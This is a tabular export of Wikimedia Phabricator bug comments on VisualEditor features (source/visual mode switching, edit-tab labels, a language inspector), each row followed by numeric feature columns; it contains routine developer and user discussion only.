208722,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,*** Bug 49986 has been marked as a duplicate of this bug. ***,,,1371855868,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49986 has been marked as a duplicate of this bug. ***
208716,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"**winne2i** wrote:

I'm asking again if this is very difficult to achieve this by adding (even temporarily!) a regular Preview button, which will allow us to see the source code of already changed content? As I said before we can already see diffs so seeing a preview should be quite easy IMO.

As far as refs are concerned – I agree that's very important. But let me notice that introducing such Preview button would allow to add references in that later step (editing the source code). That would be a great instant (but somewhat temporary) solution for both problems. Then one may work on pretty way of adding refs.

Doesn't it sound good? :)",,,1371556666,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,1.0,0.5,0.5,6.5,1.5,0.0,0.0,0.5,2.0,1.0,0.0,0.5,0.0,3.5,0.5,8.5,8.5,0.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,0.5,1.0,2.0,0.0,4.0,2.0,0.5,3.5,0.0,0.0,0.5,0.0,2.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,10.5,2.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,1.5,0.0,0.0,0.0,3.0,2.5,7.5,1.0,1.5,7.5,0.0,0.5,0.5,0.0,7.5,0.0,0.0,0.0,5.0,8.5,1.0,1.0,0.0,0.0,5.0,0.0,0.5,1.5,1.0,3.5,0.0,0.0,0.0,3.821428571428571,0.8642857142857143,"**winne2i** wrote:

I'm asking again if this is very difficult to achieve this by adding (even temporarily!) a regular Preview button, which will allow us to see the source code of already changed content? As I said before we can already see diffs so seeing a preview should be quite easy IMO.

As far as refs are concerned – I agree that's very important. But let me notice that introducing such Preview button would allow to add references in that later step (editing the source code). That would be a great instant (but somewhat temporary) solution for both problems. Then one may work on pretty way of adding refs.

Doesn't it sound good? :)"
208709,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"(In reply to comment #2)
> Just pointing out that this is very frequently requested by enwiki users at
> [[Wikipedia:VisualEditor/Feedback]]. 
> 
> I know bug priority is technically up to the developers, but just letting you
> know that a lot of people want this.

We understand, and I really want to be able to provide this, but in the choice between this and being able to add references (say) we have to prioritise. However, I'm going to see if we can try to get it done in the next few weeks. Sorry for not being able to make a firm commitment.",,,1371521807,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,2,True,,,-2,,1.0,0.0,0.0,0.0,1.0,7.0,4.0,0.0,0.0,1.0,5.0,1.0,0.0,0.0,0.0,6.0,0.0,4.0,16.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,2.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,1.0,4.0,6.0,0.0,0.0,0.0,1.0,11.0,2.0,1.0,0.0,7.0,16.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.2823529411764705,0.6470588235294118,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We understand, and I really want to be able to provide this, but in the choice between this and being able to add references (say) we have to prioritise. However, I'm going to see if we can try to get it done in the next few weeks. Sorry for not being able to make a firm commitment."
208701,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Just pointing out that this is very frequently requested by enwiki users at [[Wikipedia:VisualEditor/Feedback]]. 

I know bug priority is technically up to the developers, but just letting you know that a lot of people want this.",,,1371521045,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,10.0,4.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,10.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,17.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,4.0,4.041666666666667,0.8541666666666666,"Just pointing out that this is very frequently requested by enwiki users at [[Wikipedia:VisualEditor/Feedback]]. 

I know bug priority is technically up to the developers, but just letting you know that a lot of people want this."
208695,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"**winne2i** wrote:

To me that doesn't seem to be compliacted to acheive. The way could be to add a button which opens regular Preview (with wikitext editing).
We already can see the diff, so adding regular preview should not be difficult.

And this can be a big convenience because it's easier to edit in VE but we still can't edit/insert some elements like templates.",,,1369048522,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,1,False,,,-6,,1.0,0.0,0.0,1.0,4.0,6.0,4.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,11.0,0.0,5.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,5.0,1.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,5.0,5.0,7.0,1.0,4.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,5.0,11.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,1.0,1.0,1.0,0.0,0.0,3.6785714285714284,0.7857142857142857,"**winne2i** wrote:

To me that doesn't seem to be compliacted to acheive. The way could be to add a button which opens regular Preview (with wikitext editing).
We already can see the diff, so adding regular preview should not be difficult.

And this can be a big convenience because it's easier to edit in VE but we still can't edit/insert some elements like templates."
49776,"VisualEditor: Edit vs. edit source tab split not preserved across action=history, action=edit, Special:Undelete, …","Right now you get | Edit | Edit source | on read and on VE edit (which are the same thing) but nowhere else, which is confusing.

(Whilst we're at it, logs, diff view pages, and probably a few dozen others have edit links which will need to be replaced or augmented.)

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1367086560,1367860149.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-zcmfiyirjhsjlqbiehnf,task_description,resolved,True,c1,1,True,False,True,-10,,1.0,0.0,0.0,1.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,6.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,4.0,9.0,1.0,5.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,6.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,3.524390243902439,0.7073170731707317,"Right now you get | Edit | Edit source | on read and on VE edit (which are the same thing) but nowhere else, which is confusing.

(Whilst we're at it, logs, diff view pages, and probably a few dozen others have edit links which will need to be replaced or augmented.)

--------------------------
**Version**: unspecified
**Severity**: normal"
208529,"VisualEditor: Edit vs. edit source tab split not preserved across action=history, action=edit, Special:Undelete, …",This was fixed by Ed in his commit last week.,,,1367860149,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zcmfiyirjhsjlqbiehnf,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,1.0,This was fixed by Ed in his commit last week.
208523,"VisualEditor: Edit vs. edit source tab split not preserved across action=history, action=edit, Special:Undelete, …","Once we're deployed for all users, we could simply replace the ""Edit"" message with ""Edit source"" in core which would manage the first half; we'd still need to add the (VE) ""Edit"" tab to these extra places (and the other stuff like ""(edit)"" links in diff views).",,,1367097655,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zcmfiyirjhsjlqbiehnf,task_subcomment,,True,c1,1,True,,,-10,,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,8.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,12.0,6.0,0.0,12.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.257575757575758,0.696969696969697,"Once we're deployed for all users, we could simply replace the ""Edit"" message with ""Edit source"" in core which would manage the first half; we'd still need to add the (VE) ""Edit"" tab to these extra places (and the other stuff like ""(edit)"" links in diff views)."
208517,"VisualEditor: Edit vs. edit source tab split not preserved across action=history, action=edit, Special:Undelete, …","Setting ""High"" for action=edit; the others can be fixed, I guess.",,,1367086643,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zcmfiyirjhsjlqbiehnf,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0555555555555554,0.9444444444444444,"Setting ""High"" for action=edit; the others can be fixed, I guess."
49759,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"In [[en:User:Yamaha5/sandbox]] I tested it for Farsi every thing was OK except <div dir=""rtl""><div> which cause the test disable. in fa.wiki because of mixture of farsi and english or LTR Math formulas we use direction inside the text so it will cause problem for RTL languages

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1367020500,1390007334.0,PHID-USER-dswbdv7ibhsefllcqarz,False,,False,PHID-TASK-yygcicr6m5mpgdgpjccs,task_description,resolved,True,c1,1,False,False,False,-10,,1.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,14.0,4.0,3.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,13.0,10.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,4.012987012987013,0.7662337662337663,"In [[en:User:Yamaha5/sandbox]] I tested it for Farsi every thing was OK except <div dir=""rtl""><div> which cause the test disable. in fa.wiki because of mixture of farsi and english or LTR Math formulas we use direction inside the text so it will cause problem for RTL languages

--------------------------
**Version**: unspecified
**Severity**: enhancement"
207559,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Change 95051 merged by jenkins-bot:
MediaWiki language inspector updates

https://gerrit.wikimedia.org/r/95051",,,1390007205,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.133333333333334,1.0,"Change 95051 merged by jenkins-bot:
MediaWiki language inspector updates

GERRIT_URL"
207549,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Change 95051 had a related patch set uploaded by Jforrester:
MediaWiki language inspector updates

https://gerrit.wikimedia.org/r/95051",,,1390006945,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.388888888888889,1.0,"Change 95051 had a related patch set uploaded by Jforrester:
MediaWiki language inspector updates

GERRIT_URL"
207541,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,Splitting the block level items into bug 60187.,,,1390006865,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.444444444444445,1.0,Splitting the block level items into bug 60187.
207537,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"The main work is merged. Some designs tweaks are still needed, but now language for <span>s can be set.",,,1375256723,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,4,,4.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.4,0.96,"The main work is merged. Some designs tweaks are still needed, but now language for <span>s can be set."
207533,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Change 72634 merged by jenkins-bot:
Language Inspector UI

https://gerrit.wikimedia.org/r/72634",,,1375254898,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 72634 merged by jenkins-bot:
Language Inspector UI

GERRIT_URL"
207528,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Change 72634 had a related patch set uploaded by Mooeypoo:
Language Inspector UI

https://gerrit.wikimedia.org/r/72634",,,1374630395,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,35.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.764705882352941,1.0,"Change 72634 had a related patch set uploaded by Mooeypoo:
Language Inspector UI

GERRIT_URL"
207523,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Change 70560 merged by jenkins-bot:
Language Inspector: CE / DM

https://gerrit.wikimedia.org/r/70560",,,1373483622,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9411764705882355,0.9411764705882353,"Change 70560 merged by jenkins-bot:
Language Inspector: CE / DM

GERRIT_URL"
207518,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Change 70560 had a related patch set uploaded by Mooeypoo:
Language Inspector: CE / DM

https://gerrit.wikimedia.org/r/70560",,,1373482614,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,35.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.25,0.95,"Change 70560 had a related patch set uploaded by Mooeypoo:
Language Inspector: CE / DM

GERRIT_URL"
207514,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,*** Bug 41009 has been marked as a duplicate of this bug. ***,,,1373002468,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 41009 has been marked as a duplicate of this bug. ***
207510,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"(In reply to comment #5)
> Oy, I mean Bug 41009. Both speak of the same features that the Language
> Inspector will attempt to solve.

Given that this is more advanced in discussion, I'll up-merge that into this.",,,1373002441,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,6.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.193548387096774,0.8709677419354839,"(In reply to comment #5)
QUOTE
QUOTE

Given that this is more advanced in discussion, I'll up-merge that into this."
207505,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,"Oy, I mean Bug 41009. Both speak of the same features that the Language Inspector will attempt to solve.",,,1372987705,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,5.0,14.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,0.9090909090909091,"Oy, I mean Bug 41009. Both speak of the same features that the Language Inspector will attempt to solve."
207497,VisualEditor: Provide a language inspector to handle inline <span lang='xx' dir='yyy'>s,I think this is a dupe of Bug 47759,,,1372987615,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-yygcicr6m5mpgdgpjccs,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,22.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,I think this is a dupe of Bug 47759
